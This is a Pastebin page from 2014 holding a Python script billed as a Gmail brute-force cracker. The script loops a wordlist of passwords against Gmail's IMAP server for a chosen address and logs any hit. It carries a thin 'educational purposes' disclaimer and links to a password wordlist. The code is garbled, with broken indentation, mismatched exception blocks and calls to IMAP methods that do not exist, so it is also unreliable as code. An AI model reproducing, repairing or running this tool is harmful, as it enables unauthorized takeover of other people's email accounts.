Synchronizer

Gmail Account Brute force tool

Oct 3rd, 2014
876
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.74 KB | None | 0 0
  1. WWW.SYNCHRONIZER.TK >> FOR MORE TOOLS
  2. =======================================================================================================================================
  3. #!/usr/bin/python
  4. # -*- coding: utf-8 -*-
  5. # Gmail Cracker V 1 Priv8 By Mauritania Attacker
  6. # This program is only for educational purposes only.
  7. # To Make This Cracker Work 100% , you need to install Mechanize Python Module
  8. # Link Download ===> https://pypi.python.org/pypi/mechanize/
  9. # If you need a Good Wordlist ====> http://pastebin.com/ZGGNM8SM or make yours ^_^
  10.  
  11. import sys, imaplib, time
  12. from imaplib import IMAP4
  13.  
  14. log = "GmailGhost.log"
  15. file = open(log, "a")
  16. counter = 0
  17. face = '''
  18.                        :::Gmail Cracker v 1:::
  19.                        
  20.  
  21.        +=======================================+
  22.        |..........Gmail Cracker  v 1...........|
  23.        +---------------------------------------+
  24.        |  Author : Mauritania Attacker         |
  25.        |  Use At your Own Risk ^_^             |
  26.        |  Contact:No Need -_-                  |
  27.        |  This tool is made for pentesting.    |
  28.        |  Do not use this tool on any account  |
  29.        |  Without permission of the account    |
  30.        |  holder.                              |
  31.        |  We take no responsibilities for the  |
  32.        |  use of this program                  |
  33.        +---------------------------------------+
  34.  
  35.                                                
  36.                    
  37.    
  38.        '''
  39.  
  40. help = '''
  41. Usage : ./gmail.py -u [email] -w [wordlist]
  42. Example : ./gmail.py -u [email protected] -w wordlist.txt
  43. '''
  44.    
  45. for arg in sys.argv:
  46.     if arg.lower() == '-u' or arg.lower() == '--user':
  47.                 email = sys.argv[int(sys.argv.index(arg))+1]
  48.         elif arg.lower() == '-w' or arg.lower() == '--wordlist':
  49.             wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
  50.         elif arg.lower() == '-h' or arg.lower() == '--help':
  51.             print face
  52.             print help
  53.             file.write(face)
  54.             file.write(help)
  55.  
  56. #Change these if needed.
  57. HOST = 'imap.gmail.com'
  58. PORT = 993
  59.  
  60. try:
  61.     preventstrokes = open(wordlist, "r")
  62.     words            = preventstrokes.readlines()
  63.     count          = 0
  64.     while count < len(words):
  65.         words[count] = words[count].strip()
  66.         count += 1
  67. except(IOError):
  68.       print "\n[-] Error: Check your wordlist path\n"
  69.     file.write("\n[-] Error: Check your wordlist path\n")
  70.       sys.exit(1)
  71. def definer():
  72.     print "-" * 60
  73.     print "[+] Email         : %s" % email
  74.     print "[+] Wordlist         : %s" % wordlist
  75.     print "[+] Length wordlist     : %s " % len(words)
  76.     print "[+] Time Starting     : %s" % time.strftime("%X")
  77.     print "-" * 60
  78.     file.write ("\n[+] Email : %s" % email)
  79.     file.write ("\n[+] Wordlist : %s" % wordlist)
  80.     file.write ("\n[+] length wordlist : %s " % len(words))
  81.     file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))
  82.    
  83. def main(password):
  84.     global counter
  85.     sys.stdout.write ("[-] Trying : %s \n" % (password))
  86.     sys.stdout.flush()
  87.     file.write("[-] Trying : %s \n" % (str(password)))
  88.     try:
  89.         IMAP4 = imaplib.IMAP4_SSL(HOST, PORT)
  90.             IMAP4.Email(email)
  91.             IMAP4.Passwd(password)  
  92.             IMAP4.quit()
  93.             print "[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password)
  94.             file.write("[+] enjoy !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Found!" % (email, password))
  95.             sys.exit(1)
  96.         except Exception, e:
  97.             pass
  98.         except KeyboardInterrupt:
  99.         print "\n[-] Aborting...\n"
  100.         file.write("\n[-] Aborting...\n")
  101.         sys.exit(1)
  102.     counter+=1
  103.     if counter == len(words)/5:
  104.         print "[+] Gmailcracker 20% way done..."
  105.         print "[+] Please be patient..."    
  106.         file.write("[+] Gmailcracker on 1/4 way done...\n")
  107.         file.write("[+] Please be patient...\n")
  108.     elif counter == len(words)/4:
  109.         print "[+] Gmailcracker 25% way done..."
  110.         print "[+] Please be patient..."    
  111.         file.write("[+] Gmailcracker on 1/4 way done...\n")
  112.         file.write("[+] Please be patient...\n")
  113.     elif counter == len(words)/2:
  114.         print "[+] Gmailcracker on 50% done..."
  115.         print "[+] Please be patient..."    
  116.         file.write("[+] Gmailcracker on halfway done...\n")
  117.         file.write("[+] Please be patient...\n")
  118.     elif counter == len(words):
  119.         print "[+] Gmailcracker done...\n"
  120.         file.write("[+] Gmailcracker done...!\n")    
  121.    
  122. if __name__ == '__main__':
  123.     print face
  124.     file.write(face)
  125.     definer()
  126.     for password in words:
  127.         main(password.replace("\n",""))
  128.     main(password)
Advertisement
Add Comment
Please, Sign In to add comment